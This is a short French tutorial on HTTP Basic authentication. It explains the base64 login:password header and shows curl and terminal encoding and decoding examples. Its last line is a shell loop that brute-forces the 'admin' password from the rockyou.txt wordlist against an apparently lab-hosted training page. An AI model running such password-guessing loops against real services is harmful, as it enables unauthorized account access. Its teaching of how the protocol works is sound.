HTTP dispose d'une fonctionnalité d'authentification basique. Il est possible ajouter un champ contenant un identifiant et un mot de passe en clair.
Ces informations sont mise sous la forme login:password, puis encodées en base64, et ajoutées dans l'entête de la requête:
Authorization: Basic bG9naW46cGFzc3dvcmQ=
Exemple:
GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*
Pour envoyer une requête avec des informations d'authentification avec curl:
$ curl -u login:password http://localhost:8001/hello.txt
Pour encoder un login:password dans le terminal
$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=
Pour décoder du base64 dans le terminal
$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password
Pour tester une liste de mots de passe:
for i in `cat rockyou.txt`; do printf \n$i:; curl -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done